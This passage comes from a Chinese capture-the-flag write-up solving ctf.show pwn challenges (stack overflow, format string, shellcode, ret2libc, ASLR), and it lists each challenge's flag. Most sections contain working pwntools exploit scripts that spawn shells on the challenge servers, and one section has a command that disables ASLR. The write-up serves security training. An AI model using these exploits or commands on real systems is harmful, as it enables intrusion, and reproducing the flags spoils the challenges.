puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}

跟进ctfshow函数:

char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

使用 gets 函数从标准输入读取一行字符串,并将其存储在 s 数组中。然后,返回指向 s 的指针。 gets 函数是非常不安全的,容易导致缓冲区溢出漏洞。因为它无法限制输入的长度,可能会超出 s 数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,s距ebp仅有0x28,而gets不限制输入长度。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote("pwn.challenge.ctf.show",28187)
elf = ELF('./pwn')
flag = elf.sym['get_flag']

payload = cyclic(0x28+4) + p32(flag)
io.sendline(payload)

io.interactive()

运行脚本即可得到flag。


27 pwn37

🚩flag:ctfshow{00b37148-e0b5-422c-9a92-0fbe1310dc78}

💡hint:栈溢出

32位的 system(“/bin/sh”) 后门函数给你

from pwn import *

# 设置日志级别和架构
context(log_level='debug', arch='i386', os='linux')

# 选择本地调试或远程连接(二选一)
# io = process('./pwn') # 本地调试
io = remote('pwn.challenge.ctf.show', 28228) # 远程连接

# 加载ELF文件
elf = ELF('./pwn')
backdoor_addr = elf.sym['backdoor'] # 获取backdoor函数地址

# 构造payload:填充偏移 + 返回地址
offset = 0x12 + 4 # 假设偏移量是0x12 + 4(覆盖返回地址)
payload = b'A' * offset + p32(backdoor_addr)

# 发送payload并交互
io.sendline(payload)
io.interactive()

溢出覆盖返回地址再输入后门函数地址即可控制程序的执行流程


28 pwn38

🚩flag:ctfshow{3fc5ea88-fa41-45c3-b57c-861618063a48}

💡hint:栈溢出

64位的 system(“/bin/sh”) 后门函数给你

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28270)
payload = b'a'*(0xA+8) + p64(0x40065B) + p64(0x400657)
p.sendline(payload)
p.interactive()

思路和上一个题目类似。

ls
cat ctfshow_flag

![截屏2025-08-11 20.49.48](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 20.49.48.png)


29 pwn39

🚩flag:ctfshow{4a15a146-0370-4287-b0b1-a047a5779ae1}

💡hint:栈溢出

32位的 system(); “/bin/sh”

漏洞函数ctfshow()。

from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28309)
payload = b'a'*(0x12+4) + p32(0x80483A0) + p32(0) + p32(0x8048750)
p.sendline(payload)
p.interactive()

![截屏2025-08-11 20.56.31](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 20.56.31.png)


30~33为格式化字符

30 pwn91

🚩flag:ctfshow{2d4ff392-5150-475d-a7c1-443e845a4b4d}

💡hint:格式化字符串

开始格式化字符串了,先来个简单的吧

![截屏2025-08-11 21.17.10](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 21.17.10.png)

32位关闭PIE,部分开启RELRO

ida查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
ctfshow();
if ( daniu == 6 )
{
puts("daniu praise you for a good job!");
system("/bin/sh");
}
return 0;
}

可以看到当daniu = 6 的时候即可获的一个shell

跟进ctfshow函数:

unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
read(0, s, 0x50u);
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}

可以看到这里的ptintf(s)明显的存在格式化字符串漏洞

daniu的地址为: 0x804B038

![截屏2025-08-11 21.21.42](/Users/serenius/Library/Application Support/typora-user-images/截屏2025-08-11 21.21.42.png)

可以看到daniu在bss段,测一下格式化字符串的偏移,可以看到偏移为7

from pwn import *

# 设置日志级别
context(log_level='debug')

# 远程连接
io = remote('pwn.challenge.ctf.show', 28262)

# 目标地址
daniu = 0x804B038

# 构造格式化字符串payload
payload = fmtstr_payload(7, {daniu: 6})

# 发送payload并交互
io.sendline(payload)
io.interactive()

通过shell获取flag。


31 pwn92

🚩flag:ctfshow{4f5e810f-72b6-447f-8a30-a74822609048}

💡hint:格式化字符串

可能上一题没太看懂?来看下基础吧

ida分析函数,得知使用用户输入的格式化字符串将 s 输出,如果需要获取flag,仅仅需要使用 %s 输出flag字符串即可获取flag

from pwn import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28223)
io.sendline('%s')
io.interactive()

32 pwn93

🚩flag:ctfshow{cc14b02c-70f9-461e-aa67-96516a0834a0}

💡hint:格式化字符串

emmm,再来一道基础原理?

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
menu();
puts("Enter your choice: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
func1();
break;
case 2:
func2();
break;
case 3:
func3();
break;
case 4:
func4();
break;
case 5:
func5();
break;
case 6:
nothing_here();
break;
case 7:
exit0();
break;
default:
puts("Invalid choice. Please enter a valid option.");
break;
}
return 0;
}

跟进菜单:

int menu()
{
puts("Choose an option:");
puts("1.Crash the program");
puts("2.Stack data breaches");
puts("3.Arbitrary address memory leak");
puts("4.Stack data override");
puts("5.Arbitrary address memory override");
return puts("6. ... ");
}

获取flag的地方在case 7 exit0()函数,跟进后发现其实是一个后门函数:

unsigned __int64 exit0()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("%s", s);
return __readfsqword(0x28u) ^ v3;
}

也就是说读取用户输入的时候输入7即可获得flag。

from pwn import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28242)
io.sendline('7')
io.interactive()

33 pwn94

🚩flag:ctfshow{cc14b02c-70f9-461e-aa67-96516a0834a0}

💡hint:格式化字符串

好了,你已经学会1+1=2了,接下来继续加油吧

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init();
logo();
ctfshow();
}

跟进ctfshow():

void __noreturn ctfshow()
{
char buf[100]; // [esp+8h] [ebp-70h] BYREF
unsigned int v1; // [esp+6Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0x64u);
printf(buf);
}
}

进入一个循环,然后其中有明显的格式化字符串漏洞, 看到程序中有system函数,还是可以用格式化字符串漏洞任意写的,将printf_got 指针指向的地址改为 system_plt,再printf(),就相当于 system()了,如果我们再发送 “/bin/sh\x00”,作为其参数,就能getshell了。

from pwn import *
context.log_level = 'debug'
#io = process('./fmt')
io = remote('127.0.0.1',10000)
elf = ELF('./pwn')
offset = 6
printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload = fmtstr_payload(offset,{printf_got:system_plt})
io.sendline(payload)
io.recv()
io.sendline('/bin/sh\x00')

io.interactive()

34~37为堆管理器

34 pwn135

🚩flag:ctfshow{6f51b075-d479-4231-aada-f294823c75fc}

💡hint:堆管理器

malloccallocrealloc 的作用

函数 作用 关键区别
malloc(size) 分配 size 字节的未初始化内存,内容随机(可能含敏感数据)。 最快,但需手动初始化。
calloc(n, size) 分配 n * size 字节的初始化为零的内存(适合数组/结构体)。 malloc 慢,但安全。
realloc(ptr, new_size) 调整已分配内存块的大小(可扩大/缩小),原数据保留(新部分未初始化)。 ptrNULL,等价于 malloc

一句话总结
malloc 分配未初始化内存,calloc 分配并清零内存,realloc 调整已有内存块大小。

本题输入4拿到flag。


35 pwn136

🚩flag:ctfshow{bc477bcf-c4ce-4e20-870e-72aa123b7703}

💡hint:堆管理器

如何释放堆?

free堆块的原理

当调用 free(ptr) 时,堆管理器会执行以下操作:

  1. 检查指针有效性:确保 ptr 是由 malloc/calloc/realloc 分配的合法地址,防止双重释放(Double Free)或非法释放。
  2. 标记为未使用:将该内存块标记为 free 状态(通常通过修改块头部的元数据,如 sizein_use 标志位)。
  3. 合并空闲块:若相邻内存块也是空闲的,合并它们以减少碎片(coalescing)。
  4. 加入空闲链表:将释放的块插入 free list(如 glibcbin),供后续 malloc 重用,可能触发 brk/mmap调整堆空间。

关键点free 不会立即归还内存给操作系统,而是由堆管理器缓存复用,存在 Use-After-Free (UAF) 漏洞风险。

输入4获得flag。


36 pwn137

🚩flag:ctfshow{31e71893-ad61-424b-85d7-c3e01878746d}

💡hint:堆管理器

sbrk and brk example

sbrk()brk() 是用于管理堆内存的系统调用,**brk() 直接设置堆的结束地址(break指针)到指定位置,从而扩展或收缩堆空间;sbrk() 则是相对调整,通过增量(正数扩展、负数收缩)移动 break 指针**,并返回调整前的地址。两者共同维护堆的动态内存分配,malloc 等库函数底层依赖它们操作内存,但过度碎片化可能导致性能问题。


37 pwn138

🚩flag:ctfshow{3c16a2a8-a843-4cae-9eab-511d82ed8f09}

💡hint:堆管理器

Private anonymous mapping example

当用户申请内存过大时,ptmalloc2会选择通过mmap()函数创建匿名映射段供用户使用,并通过unmmap()函数进行回收。

当用户申请的内存超过 mmap_threshold(默认 128KB,可通过 mallopt 调整)时,ptmalloc2 会绕过堆区管理,直接调用 mmap() 创建独立的匿名内存映射段(无文件关联,权限为可读写),该段与堆区隔离,减少碎片化影响;释放时调用 munmap() 立即将内存归还操作系统,避免堆缓存带来的延迟或内存泄漏风险。这种机制适合大块内存分配,但频繁使用可能引发缺页中断开销,且地址随机化(ASLR)会降低局部性效率。


38 pwn24

🚩flag:ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}

💡hint:Linux安全机制

你可以使用pwntools的shellcraft模块来进行攻击

pwntools的shellcraft模块是一个用于快速生成各种架构(如x86、ARM、MIPS等)的shellcode的工具库,它提供了预定义的汇编代码片段(如执行/bin/sh、系统调用、文件读写等),用户可通过简单调用(如shellcraft.sh())自动适配目标平台,无需手动编写底层汇编。其核心作用是简化漏洞利用开发,尤其在栈溢出、ROP攻击等场景中,能一键生成可靠的逆向Shell、反弹Shell或权限提升代码,支持动态调整参数(如寄存器、系统调用号),并自动处理字节对齐和NULL字节过滤,大幅提升PWN题或真实漏洞利用的效率与可移植性。

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote("pwn.challenge.ctf.show", 28112)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

32位仅部分开启RELRO保护

可以看到存在一个RWX权限的段,即可读可写可执行的段

直接IDA查看main函数发现有一个ctfshow函数,但是无法跟进 那么就直接看汇编了:

  1. 函数开始时进行一些栈操作,保存寄存器的值。
  2. 调用 __x86_get_pc_thunk_bx 函数,获取当前的指令位置并存储在 ebx 寄存器中。
  3. 分配 0x84 字节的空间用于缓冲区,存储用户输入的数据。
  4. 调用 read 函数,从标准输入读取数据,并存储到缓冲区。
  5. 调用 puts 函数,将缓冲区的内容打印到标准输出。
  6. 通过调用 call eax 指令,以 eax 寄存器的值作为函数指针,跳转到缓冲区中存储的地址执 行。
  7. 之后是一些清理工作和函数返回的准备操作。

这题题目提示了可以使用 pwntools的shellcraft模块进行攻击

shellcraft 模块是 pwntools 库中的一个子模块,用于生成各种不同体系结构的 Shellcode。 Shellcode 是一段以二进制形式编写的代码,用于利用软件漏洞、执行特定操作或获取系统权限。

shellcraft 模块提供了一系列函数和方法,用于生成特定体系结构下的 Shellcode。

from pwn import *                                 # 导入  pwntools 库
context.log_level = 'debug' # 设置日志级别为调试模式
#io = process('./pwn') # 本地连接 io = remote("pwn.challenge.ctf.show", 28112) # 远程连接
shellcode = asm(shellcraft.sh()) # 生成一个 Shellcode
io.sendline(shellcode) # 将生成的 Shellcode 发送到目标主机
io.interactive() # 与目标主机进行交互

39 pwn25

🚩flag:ctfshow{3a6ba94e-fcd7-4427-be46-28c0402728a7}

💡hint:Linux安全机制

开启NX保护,或许可以试试ret2libc

NX保护(No-eXecute)

NX保护是一种内存保护机制,由CPU和操作系统共同实现,通过将数据段(如栈、堆)标记为不可执行READ/WRITE但无EXECUTE权限),阻止攻击者在这些区域直接执行恶意代码(如shellcode)。其核心目的是防御栈溢出等漏洞利用技术,迫使攻击者转向更复杂的利用方式(如ROP)。现代编译器默认开启NX(通过-z noexecstack选项),可用checksec工具检测程序是否启用该保护。


ret2libc(Return-to-libc)

ret2libc是一种绕过NX保护的漏洞利用技术,通过覆盖返回地址跳转到libc库中的函数(如systemexecve),而非直接执行shellcode。攻击步骤通常为:1) 泄露libc基地址(利用putsprintf);2) 计算目标函数(如system("/bin/sh"))的真实地址;3) 构造ROP链调用该函数。这种技术依赖程序动态链接libc的特性,无需注入代码,但需处理地址随机化(ASLR)和参数传递问题。

from pwn import *
from LibcSearcher import *

# 设置日志级别和架构
context(log_level='debug', arch='i386', os='linux')

# 远程连接
io = remote("pwn.challenge.ctf.show", 28233)

# 加载ELF文件
elf = ELF('./pwn')
main_addr = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']

# 第一次payload:泄露write函数的真实地址
payload1 = cyclic(0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
io.sendline(payload1)
write_addr = u32(io.recv(4))
print("write address:", hex(write_addr))

# 使用LibcSearcher查找匹配的libc版本
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

# 第二次payload:调用system("/bin/sh")
payload2 = cyclic(0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
io.sendline(payload2)

# 获取交互式shell
io.interactive()

40 pwn 26

🚩flag:ctfshow{3a6ba94e-fcd7-4427-be46-28c0402728a7}

💡hint:Linux安全机制

设置好 ASLR 保护参数值即可获得flag

为确保flag正确,本题建议用提供虚拟机运行

libc下载地址

提取码为: show

ASLR(Address Space Layout Randomization,地址空间布局随机化)是一种安全防护机制,由操作系统在程序运行时动态随机化内存布局(如栈、堆、libc库的基地址),使得攻击者难以预测关键数据或代码的绝对地址(如system函数、/bin/sh字符串),从而阻止基于固定地址的漏洞利用(如栈溢出、ROP链)。ASLR通过增加攻击者定位目标的难度,有效防御大多数内存攻击,但若结合信息泄露漏洞(如格式化字符串、UAF)获取随机化后的地址,仍可能被绕过。现代操作系统(如Linux、Windows)默认全局开启ASLR,可通过cat /proc/sys/kernel/randomize_va_space查看配置(2表示完全启用)。

可以将该文件的值设置为以下几个选项之一来控制 ASLR 的行为:

  • 0:关闭 ASLR,内存布局不随机化。
  • 1:启用 ASLR,但只有堆和栈是随机化的。
  • 2:启用完整的 ASLR,所有内存段(包括堆、栈、共享库等)都是随机化的。

使用命令设置 ASLR 的级别 :

echo "0" > /proc/sys/kernel/randomize_va_space

flag is :ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}